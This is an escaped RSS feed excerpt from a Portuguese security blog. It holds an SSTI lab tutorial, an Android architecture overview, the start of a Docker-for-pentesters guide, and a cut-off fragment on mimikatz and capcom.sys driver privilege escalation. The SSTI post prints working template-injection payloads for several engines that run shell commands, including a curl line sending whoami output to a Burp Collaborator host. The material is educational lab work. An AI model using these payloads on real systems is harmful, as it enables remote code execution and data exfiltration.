&lt;p&gt;&lt;img src=&#34;https://i.imgur.com/mxaRAPu.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;h2 id=&#34;mimidrvsys&#34;&gt;mimidrv.sys&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;mimikatz.exe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&#34;https://i.imgur.com/HIIvjtT.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;h2 id=&#34;capcomsys&#34;&gt;capcom.sys&lt;/h2&gt;
&lt;p&gt;O capcom.sys é um driver que eleva seus privilégios de usuário para nt authority\system, o que também é muito interessante.&amp;gt;br:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;poc-load.exe gdrv.sys capcom.sys&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&#34;https://i.imgur.com/VBWwMU2.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Essa é só uma das diversas técnicas nessa área de red teaming, espero tenham gostado e se interessado mais pelo assunto.
Kyum Security.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://twitter.com/w0xhz&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;kosu&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Server Side Template Injection.</title>
        <link>https://harddisk.com.br/p/pt-br-server-side-template-injection./</link>
        <pubDate>Thu, 25 Mar 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-server-side-template-injection./</guid>
        <description>&lt;img src="https://miro.medium.com/max/1400/1*faljdj4TmGbG3NZncuSE1Q.png" alt="Featured image of post [PT-BR] Server Side Template Injection." /&gt;&lt;blockquote&gt;
&lt;p&gt;Olá. Bem vindos ao meu primeiro artigo na HardDisk! A vulnerabilidade web que será abordada neste artigo é, tal como explícito no título, Server Side Template Injection (SSTI), falha amplamente conhecida, mas tão pouco explorada. A vulnerabilidade é, por grosso modo, uma junção entre XSS e RCE. XSS por se tratar de uma falha no template do servidor web, onde executará como server-side, e RCE por se tratar de uma execução de comandos no serviço.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ressaltemos aqui que os ambientes explorados são controlados e feitos para tal vulnerabilidade. Você pode praticar aqui: &lt;a class=&#34;link&#34; href=&#34;https://portswigger.net/web-security/all-labs&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Labortórios da PortSwigger.&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;server-side-template-injection-simples&#34;&gt;Server-side Template Injection simples.&lt;/h3&gt;
&lt;p&gt;Primeiramente, para que treinemos de maneira eficaz, vamos começar com o SSTI básico. Vejamos a seguir:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/823709172805009448/Screenshot_20210322_210633.png?width=812&amp;amp;height=500&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/823708742348046386/Screenshot_20210322_210417.png?width=576&amp;amp;height=193&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Explicando as requests: ao entrarmos em determinada área do site, ele puxa um parâmetro GET (encontrado na URL), onde o mesmo retorna o que foi dito na template no site &amp;ldquo;Unfortunately this product is out of stock&amp;rdquo;. Como o SSTI se trata de um exemplo simples, utilizaremos um payload simples.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/823710447566848000/Screenshot_20210322_211119.png?width=636&amp;amp;height=500&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Como visto no exemplo acima, utilizamos o seguinte payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;%=+3*3+%&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note que o payload possui sinais positivos &amp;ldquo;+&amp;rdquo; porque, ao tentarmos com espaços (&amp;lt;%= 3*3 %&amp;gt;), o site retorna um erro. Com isso, em aplicações web, podemos substituir os espaços com o sinal de + ou com o espaço criptografado com URL Encode (iremos ver isso mais para frente).
Já que conseguimos realizar o SSTI, faremos agora o que o laboratório está pedindo: apagar o arquivo &amp;ldquo;morale.txt&amp;rdquo; do usuário Carlos. E vamos nessa:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;%=+system(&amp;quot;rm+/home/carlos/morale.txt&amp;quot;)+%&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note que o &amp;ldquo;system&amp;rdquo; do payload seria para executar comandos do sistema na aplicação web, e entre os parênteses e aspas, o próprio comando a ser executado.&lt;/p&gt;
&lt;h2 id=&#34;ssti-em-code-context&#34;&gt;SSTI em Code Context.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://cdn.discordapp.com/attachments/787509008041902131/823713836871843880/Screenshot_20210322_212455.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/823714032048668672/Screenshot_20210322_212537.png?width=636&amp;amp;height=500&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Analisando as requests: ao clicarmos em &amp;ldquo;Submit&amp;rdquo; para setarmos o nosso usuário, ele puxa uma requisição POST e, no corpo das requisições, um parâmetro chamado &amp;ldquo;blog-post-author-display=user.name&amp;rdquo;. Primeiramente, como todo clássico SSTI, vamos buscar multiplicar dois números. Se liga:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blog-post-author-display=user.name}}{{3*3}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/823716427071881257/Screenshot_20210322_213504.png?width=324&amp;amp;height=79&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Explicando a bagunça: injetamos o payload de multiplicação dentro da perfomace &amp;quot; }}{{COMANDO}} &amp;ldquo;, típicos de payload em Code Context. Agora, vamos executar comandos shell com base no que descobrimos. Vejamos:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blog-post-author-display=user.name}}{{system(&amp;quot;rm+/home/carlos/morale.txt&amp;quot;)}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/823718010623361074/Screenshot_20210322_214131.png?width=812&amp;amp;height=500&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;É, deu merda. Ao analisarmos a resposta do erro, ele retorna como um erro no Python. Com isso, iremos realizar o SSTI Code Context, agora fazendo juz ao nome, já que iremos criar um payload &amp;ldquo;codado&amp;rdquo; em Python. Vejamos:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blog-post-author-display=user.name}}{%+import+os+%}{{os.system(&#39;rm+/home/carlos/morale.txt&#39;)}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ao atualizarmos a página, retornamos como laboratório completo.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/823720432930258995/Screenshot_20210322_215058.png?width=812&amp;amp;height=500&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;h2 id=&#34;ssti-utilizando-a-documentação&#34;&gt;SSTI utilizando a documentação.&lt;/h2&gt;
&lt;p&gt;Partindo agora para o nosso terceiro exemplo, iremos utilizar  a documentação do template do site para que a gente consiga explorar a vulnerabilidade. O payload que você irá utilizar será com base no erro da template do site. Para isso, utilizei o site &lt;a class=&#34;link&#34; href=&#34;https://portswigger.net/web-security/all-labs&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;HackTricks&lt;/a&gt;. Nele, há vários payloads para os diferentes templates do site. Olha aí:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://cdn.discordapp.com/attachments/787509008041902131/823722670624735242/Screenshot_20210322_215947.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Ao procurarmos o payload que gere o erro na template do site e jogarmos no campo, recebemos isso como resposta:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://cdn.discordapp.com/attachments/787509008041902131/823724709866110976/Screenshot_20210322_220821.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a th:href=&amp;quot;@{__${path}__}&amp;quot; th:title=&amp;quot;${title}&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;OBS&lt;/strong&gt;: O payload utilizado acima pode servir para qualquer parâmetro vulnerável a SSTI, como GET. Sim, você pode causar um erro na documentação do site jogando o payload acima na URL, desde a mesma seja vulnerável a SSTI.&lt;/p&gt;
&lt;p&gt;Se você analisou bem a imagem acima, viu o destaque que está na resposta de erro: &amp;ldquo;Freemaker&amp;rdquo;. O Freemaker é um motor de templates para servidor web. Vimos que o site está rodando Freemaker com base no erro de sua documentação. Entrando no site da HackTricks, pegamos o payload que utilizaremos e injetemos no site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;#assign ex=&amp;quot;freemarker.template.utility.Execute&amp;quot;?new()&amp;gt; ${ ex(&amp;quot;rm /home/carlos/morale.txt&amp;quot;) }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;ssti-utilizando-linguagem-desconhecida-e-documentação&#34;&gt;SSTI utilizando linguagem desconhecida e documentação.&lt;/h2&gt;
&lt;p&gt;Bom, primeiramente você deve estar se perguntando: &amp;ldquo;como assim uma linguagem desconhecida?&amp;rdquo;. Sim, é literalmente uma linguagem desconhecida (você utilizará ela com base na documentação do site) feita justamente para explorar Server Side Template Injection. Bom, partindo para a prática:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/824805476444405770/unknown.png?width=939&amp;amp;height=468&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Analisando a imagem acima, ao clicarmos em &amp;ldquo;View details&amp;rdquo;, o serviço web puxa um parâmetro GET (na url) com uma frase de erro, onde a mesma é refletida na index do site. Feito isso, precisaremos de um payload para causar um erro na template, e com isso, descobrirmos qual o site está usando. Vejamos a seguir:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/824805853534093313/unknown.png?width=939&amp;amp;height=468&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Vemos que o site está utilizando o &amp;ldquo;Handlebars&amp;rdquo; para a template. Pesquisando mais afundo na internet, descobrimos que o Handlebars tem um &lt;a class=&#34;link&#34; href=&#34;https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;payload&lt;/a&gt; de SSTI, conforme visto a seguir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrtz{{#with &amp;quot;s&amp;quot; as |string|}}
{{#with &amp;quot;e&amp;quot;}}
{{#with split as |conslist|}}
  {{this.pop}}
  {{this.push (lookup string.sub &amp;quot;constructor&amp;quot;)}}
  {{this.pop}}
  {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push &amp;quot;return require(&#39;child_process&#39;).exec(&#39;whoami&#39;);&amp;quot;}}
    {{this.pop}}
    {{#each conslist}}
      {{#with (string.sub.apply 0 codelist)}}
        {{this}}
      {{/with}}
        {{/each}}
  	  {{/with}}
	{{/with}}
 {{/with}}
{{/with}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Porém, o payload é extenso demais para utilizarmos na URL. Com isso, iremos criptografá-la com URL Encode no BurpSuite. Se liga:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/824807194801340436/unknown.png?width=960&amp;amp;height=264&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Feito isso, injetamos o payload criptografado na URL e o site, por se tratar de SSTI ser uma falha server-side, irá executar o comando. :)&lt;/p&gt;
&lt;h2 id=&#34;bind-ssti-com-out-of-band-exfiltration&#34;&gt;Bind SSTI com Out Of Band Exfiltration.&lt;/h2&gt;
&lt;p&gt;Agora com um módulo mais avançado, iremos fazer um Server Side Template Injection com Out Of Band Exfiltration. Mas primeiramente, o que é Out Of Band? OOB significa dados fora de bandas sendo trafegados independentes (como algo sem rumo). Para isso, precisamos do BurpSuite Pro, onde o mesmo possui um módulo focado em Out Of Band.&lt;/p&gt;
&lt;p&gt;Clicando em &amp;ldquo;Burp&amp;rdquo;, e logo em seguida em &amp;ldquo;Burp Collaborator Client&amp;rdquo;, iremos abrir uma janela. Essa janela disponibilizará um subdomínio do BurpSuite, onde o mesmo tem como objetivo capturar todas as requests que nele forem recebidas. Com isso, iremos adicionar no payload a URL do Burp Collaborator Client. Vejamos a seguir:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/787509008041902131/824814252689981460/unknown.png?width=939&amp;amp;height=468&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Ao analisarmos a URL, o mesmo puxa um parâmetro GET que é refletido na index do site. Para isso, iremos utilizar o clássico payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;%= system(&amp;quot;comando&amp;quot;) %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Com isso, para que realizemos o OOB exfiltration, iremos utilizar o comando &amp;ldquo;curl&amp;rdquo; para enviar requisições pro subdomínio do Burp Collaborator e um payload entre crazes para a execução de comandos. No final, ficará assim:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;%= system(&amp;quot;curl http://`whoami`vsro5ges2to50fpn7sje8ye0brhi57.burpcollaborator.net&amp;quot;) %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Explicando o payload: o &lt;code&gt;curl&lt;/code&gt; irá enviar uma requisição para o site que captura todas as requisições, e o &lt;code&gt;whoami&lt;/code&gt; para capturar o RCE do resultado do comando. Com isso, iremos receber essa brincadeira aqui:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://media.discordapp.net/attachments/784200600476450837/824815830692134932/unknown.png?width=759&amp;amp;height=468&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;p&gt;Curtiu? &lt;a class=&#34;link&#34; href=&#34;https://github.com/march0s1as/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Veja meu github&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Valeu, falou e fui !!!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/march0s1as&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;march0&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Arquitetura Android</title>
        <link>https://harddisk.com.br/p/pt-br-arquitetura-android/</link>
        <pubDate>Wed, 24 Mar 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-arquitetura-android/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-arquitetura-android/andriod-jetpack.jpg" alt="Featured image of post [PT-BR] Arquitetura Android" /&gt;&lt;h1 id=&#34;arquitetura-android&#34;&gt;Arquitetura Android&lt;/h1&gt;
&lt;p&gt;Olá nobres! nesse artigo irei falar um pouco sobre a arquitetura do android&amp;hellip; como ela funciona e etc.&lt;br&gt;
Como muitos sabem e alguns desconhecem, o Android é um Linux. Diante deste fato ele consequentemente é Open Source.&lt;/p&gt;
&lt;p&gt;O que é Open Source? é o nome utilizado para programas ou para qualquer coisa que você consiga ler código fonte, ou seja, podemos ver ás linhas de código daquele programa (Obviamente código disponíbilizado pelo criador).  Pelo fato do Android ser open source, vemos o Android em Carros, Televisões, Celulares e etc.&lt;/p&gt;
&lt;p&gt;Algo curioso que poucas pessoas sabem é que o Android não foi criado pela Google&amp;hellip;&lt;br&gt;
Em 2005 a Google comprou a empresa criadora do Android&amp;hellip; a &lt;strong&gt;Android&lt;/strong&gt; Inc. que em 2003 havia criado o Android.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://source.android.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Código fonte do Android&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Agora a cereja do bolo; a arquitetura Android.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.imgur.com/hT5RdGW.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;h4 id=&#34;_irei-me-referir-a-cada-camada-por-sua-cor_&#34;&gt;&lt;em&gt;(Irei me referir a cada camada por sua cor.)&lt;/em&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Verde Claro:&lt;/strong&gt; Na imagem acima podemos vê que o Linux Kernel é a base do Android.&lt;br&gt;
Essa camada é responsável pelo gerenciamento de energia e drivers de Display, Wi-Fi, Câmera, Áudio&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verde Escuro&lt;/strong&gt;: O Hardware Abstract Layer (HAL), responsável pela Câmera, Áudio, Sensores, Bluetooth e etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Azul:&lt;/strong&gt; Está camada é onde ficam as livrarias que em sua grande maioria são escritas em C/C++, elas são responsáveis pelos navegadores, SQLite (Database Local), renderizador de vídeo (OpenGL) e etc&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Laranja:&lt;/strong&gt; As aplicações para o Android são desenvolvidas em Java, mas aí você me diz: “React-Native é NodeJS”, “Flutter é Dart”, “Ah mas Xamarin é C#”, sim você está correto! Mas no momento em que vocês vão compilar o código para APK ele é convertido para Java. Para os que conhecem o funcionamento do Java, acredito que já sabem o porquê do DVM (Dalvik Virtual Machine), mas para os que não conhecem: O Java roda em uma JVM (Java Virtual Machine), que é uma maquina virtual do próprio Java que serve para converter o código Java para código de maquina; o código Java não é compilado, e por esse fato o Java terá compatibilidade com todos os sistemas que possuir uma JVM.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Roxo:&lt;/strong&gt; Android Framework ou Java API Framework, é a camada que fornece aos desenvolvedores as funções do Android, por exemplo: Notificações, instalar e desinstalar aplicativos, gerenciamento de atividades e etc.&lt;/p&gt;
&lt;p&gt;• &lt;em&gt;&lt;strong&gt;Resumindo:&lt;/strong&gt; É o Android Framework que permite que os aplicativos maneja seu Android.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rosa:&lt;/strong&gt; Na camada &amp;ldquo;Apps&amp;rdquo;, são os aplicativos que vem por padrão no Android, sejam os aplicativos do Google ou da empresa que fabricou o celular. Por exemplo os celulares da Motorola, Samsung, LG&amp;hellip;&lt;/p&gt;
&lt;h4 id=&#34;_está-é-outra-imagem-para-dar-uma-pespectiva-diferente-e-mais-detalhada_&#34;&gt;&lt;em&gt;(Está é outra imagem para dar uma pespectiva diferente&amp;hellip; e mais detalhada.)&lt;/em&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 123; flex-basis: 295px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-arquitetura-android/image2.png&#34; data-size=&#34;1024x831&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-arquitetura-android/image2.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-arquitetura-android/image2_huda73576a006cb2837d069a36a8d109c7_583245_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-arquitetura-android/image2_huda73576a006cb2837d069a36a8d109c7_583245_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;1024&#34;
				height=&#34;831&#34;
				loading=&#34;lazy&#34;
				&gt;
		&lt;/a&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/blackcrw&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;blackcrw&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Introdução de Docker para Pentesters</title>
        <link>https://harddisk.com.br/p/pt-br-introdu%C3%A7%C3%A3o-de-docker-para-pentesters/</link>
        <pubDate>Mon, 22 Mar 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-introdu%C3%A7%C3%A3o-de-docker-para-pentesters/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-introdu%C3%A7%C3%A3o-de-docker-para-pentesters/banner.png" alt="Featured image of post [PT-BR] Introdução de Docker para Pentesters" /&gt;&lt;h2 id=&#34;por-que-docker&#34;&gt;Por que docker?&lt;/h2&gt;
&lt;p&gt;Na area de pentest é quase que um &lt;strong&gt;requisito&lt;/strong&gt; você ter instalado diversas ferramentas que são utilizadas no dia a dia no seu ambiente de trabalho, muitas vezes o profissional opta por usar um sistema operacional que ja tenha tudo ali, sem necessidade de instalar mais nada (&lt;a class=&#34;link&#34; href=&#34;https://www.kali.org&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;KaliLinux&lt;/a&gt; por exemplo) justamente para não se preocupar com instalação de programas.&lt;/p&gt;
&lt;p&gt;Quem não utiliza Kali é obrigado a instalar TUDO que for usar.&lt;/p&gt;
&lt;p&gt;Pare para pensar caso voce tivesse um &lt;strong&gt;PC novo&lt;/strong&gt;, quantos ferramentas você iria baixar? Eu mesmo teria que fazer download de umas 10 ferramentas (wireshark, burpsuite, tcpdump, netcat, ftp, e a lista continua infinitamente).
Eu sou preguiçoso e &lt;strong&gt;não tenho tempo pra ficar instalando ferramenta&lt;/strong&gt;, isso sem contar os programas que dependem de outros, ou o pesadelo supremo: o conflitos de versões &lt;em&gt;(pra que tanto python??)&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Imagine se voce pegasse cada uma dessas ferramentas e colocasse dentro de uma caixa (uma caixinha mesmo), e essa caixa pudesse ser utilizada em qualquer computador, seja ele linux, windows ou mac, e a melhor parte: essa caixinha pudesse sumir e aparecer quando você quisesse.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Essa caixinha é o docker.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No contexto do docker, essa caixinha se chama container, que na pratica é um sistema operacional encapsulado, que pode ser descartado e recriado a qualquer momento.&lt;/p&gt;
&lt;p&gt;Um container é criado a partir de uma &lt;strong&gt;imagem&lt;/strong&gt;, dizendo quais programas ele vai ter instalado, quais diretórios ele tem acesso do seu computador, configurando o container em geral. Essa imagem é descrita em um arquivo chamado por &lt;code&gt;Dockerfile&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;como-docker-ajuda-no-pentest&#34;&gt;Como docker ajuda no Pentest?&lt;/h2&gt;
&lt;p&gt;Com o docker, &lt;strong&gt;você tem em suas mãos milhares de imagens&lt;/strong&gt; pré-prontas (disponíveis no site oficial) que já vem com ferramentas instaladas e configuradas devidamente.&lt;/p&gt;
&lt;p&gt;Trocou de computador? Sem problema, as imagens que voce criou podem ser utilizadas em qualquer sistema operacional, basta instalar docker.&lt;/p&gt;
&lt;p&gt;Quer testar algo que pode te dar problemas, ou até prejudicar o seu sistema operacional? Rode em docker, se der problema voce deleta o container.&lt;/p&gt;
&lt;p&gt;Você não precisaria se preocupar com o espaço em disco quando fosse baixar novas ferramentas porque os programas instalados no container não estão no seu sistema, então removendo o container, é como se essa ferramenta nunca tivesse existido.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;E caso alguem fosse vasculhar seu computador para ver as coisas que anda fazendo.. não encontraria nada, já que tudo que voce fez foi em um container do docker (que aliás nem existe mais :P)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;como-usar-o-docker&#34;&gt;Como usar o docker?&lt;/h2&gt;
&lt;p&gt;Primeiro você precisa ter o &lt;a class=&#34;link&#34; href=&#34;https://docs.docker.com/engine/install/ubuntu&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;docker instalado&lt;/a&gt;, depois disso ja podemos começar com o primeiro comando do docker:&lt;/p&gt;
&lt;p&gt;Esse comando a seguir mostra todos os containers que voce tem, independente se estejam rodando ou não&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker ps -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Provavelmente voce verá que não há nada na lista de containers, o que acha de criarmos um?&lt;/p&gt;
&lt;p&gt;Vamos iniciar baixando a imagem do alpine (poderia ser ubuntu, mas escolhi alpine mesmo)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker pull alpine
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora verifique a imagem do Alpine que você baixou faz parte das suas imagens:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker images
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se sua imagem estiver ai, podemos iniciar o container pelo comando:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker run --name exemplo --rm -it alpine /bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se tudo der certo abrira uma shell root para você no terminal, isso significa que deu tudo certo e você está dentro de um container!&lt;/p&gt;
&lt;p&gt;Para sair do container basta rodar o comando&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Vamos detalhar melhor o que cada item desse comando faz&amp;hellip;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--name&lt;/code&gt; especifica o nome do container&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--rm&lt;/code&gt; Deleta o container assim que você sai dele&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-it&lt;/code&gt; Obtem uma shell interativa&lt;/li&gt;
&lt;li&gt;&lt;code&gt;alpine /bin/sh&lt;/code&gt; a primeira parte diz qual imagem vamos usar, e a &lt;code&gt;/bin/sh&lt;/code&gt; significa qual comando vamos rodar nele, no caso, queremos o shell&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Perceba que você rodou o comando &lt;code&gt;run&lt;/code&gt; com o &lt;code&gt;--rm&lt;/code&gt;, isso significa que tudo que você fez nele, será apagado assim que sair dele, veja os containers que você tem com esse comando:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker ps -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se você quer ter um container que não é deletado, basta rodar o mesmo comando, só que sem o &lt;code&gt;--rm&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;docker-para-pentest&#34;&gt;Docker para pentest&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Agora que você viu como iniciar um container por linha de comando, e também via arquivos &lt;code&gt;Dockerfile&lt;/code&gt;, vou demonstrar como isso pode ser aplicado para pentest.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No site oficial do Docker, &lt;a class=&#34;link&#34; href=&#34;https://hub.docker.com/search&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;exite uma parte dedicada as imagens do docker&lt;/a&gt;, e nela existem milhares de imagens PRONTAS para você dar &lt;code&gt;pull&lt;/code&gt; nelas e começar a usar.&lt;/p&gt;
